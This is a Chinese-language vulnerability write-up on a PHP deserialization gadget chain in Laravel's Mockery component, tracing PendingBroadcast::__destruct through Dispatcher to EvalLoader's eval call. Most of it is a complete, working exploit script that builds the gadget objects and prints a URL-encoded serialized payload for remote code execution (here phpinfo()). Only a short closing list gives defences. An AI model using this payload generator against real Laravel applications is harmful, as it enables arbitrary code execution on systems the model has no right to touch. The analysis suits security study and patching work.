Laravel mockery组件反序列化POP链分析
字数 1240 2025-08-26 22:11:57
Laravel Mockery组件反序列化POP链分析
漏洞概述
本文详细分析Laravel框架中Mockery组件存在的反序列化漏洞,通过构造特定的POP(Property-Oriented Programming)链实现任意代码执行。
漏洞利用链分析
入口点
利用链的入口点是Illuminate\Broadcasting\PendingBroadcast类的__destruct方法。当对象被销毁时,会自动调用此方法:
public function __destruct()
{
$this->events->dispatch($this->event);
}
第二步:Dispatcher::dispatch
$this->events被控制为Illuminate\Bus\Dispatcher对象,调用其dispatch方法:
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
// ...
}
条件绕过
需要满足两个条件:
$this->queueResolver不为空$this->commandShouldBeQueued($command)返回true
commandShouldBeQueued方法检查$command是否实现了ShouldQueue接口:
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里使用Illuminate\Broadcasting\BroadcastEvent类,它实现了ShouldQueue接口。
任意方法调用
进入dispatchToQueue方法后:
protected function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $command);
// ...
}
这里$this->queueResolver被控制为数组[$object, "method"]形式,实现任意方法调用。
最终利用点
选择Mockery\Loader\EvalLoader::load方法作为目标:
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
需要满足:
$definition是MockDefinition对象class_exists($definition->getClassName(), false)返回false- 控制
$definition->getCode()返回恶意代码
MockDefinition类分析
class MockDefinition
{
protected $config;
protected $code;
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
getClassName()调用$this->config->getName(),因此需要$this->config是MockConfiguration对象:
class MockConfiguration
{
protected $name = '1234'; // 设置为不存在的类名
}
完整利用链
PendingBroadcast::__destruct()Dispatcher::dispatch()Dispatcher::dispatchToQueue()EvalLoader::load()eval()执行任意代码
EXP构造
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent implements \Illuminate\Contracts\Queue\ShouldQueue
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code = '<?php phpinfo();?>';
public function __construct($config)
{
$this->config = $config;
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = '1234'; // 不存在的类名
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace{
$Mockery = new Mockery\Loader\EvalLoader();
$queueResolver = array($Mockery, "load");
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
echo urlencode(serialize($PendingBroadcast));
}
?>
关键点总结
- 利用
__destruct作为入口点 - 通过接口实现绕过条件检查
- 利用数组回调实现任意方法调用
- 控制
MockDefinition的getCode()返回恶意代码 - 通过
MockConfiguration设置不存在的类名绕过class_exists检查 - 最终通过
eval执行任意PHP代码
防御措施
- 避免反序列化不可信数据
- 及时更新框架和组件版本
- 使用安全的反序列化方法,如JSON
- 实施输入验证和过滤